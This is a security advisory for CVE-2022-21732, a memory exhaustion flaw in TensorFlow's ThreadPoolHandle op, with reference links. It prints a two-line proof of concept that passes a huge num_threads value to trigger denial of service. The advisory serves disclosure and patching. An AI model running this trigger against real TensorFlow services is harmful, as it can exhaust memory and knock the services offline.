CVE-2022-21732: Memory exhaustion in Tensorflow
(updated )
The implementation of ThreadPoolHandle can be used to trigger a denial of service attack by allocating too much memory:
import tensorflow as tf
y = tf.raw_ops.ThreadPoolHandle(num_threads=0x60000000,display_name='tf')
This is because the num_threads argument is only checked to not be negative, but there is no upper bound on its value.
References
- github.com/advisories/GHSA-c582-c96p-r5cq
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-56.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-111.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/data/experimental/threadpool_dataset_op.cc
- github.com/tensorflow/tensorflow/commit/e3749a6d5d1e8d11806d4a2e9cc3123d1a90b75e
- github.com/tensorflow/tensorflow/security/advisories/GHSA-c582-c96p-r5cq
- nvd.nist.gov/vuln/detail/CVE-2022-21732
Code Behaviors & Features
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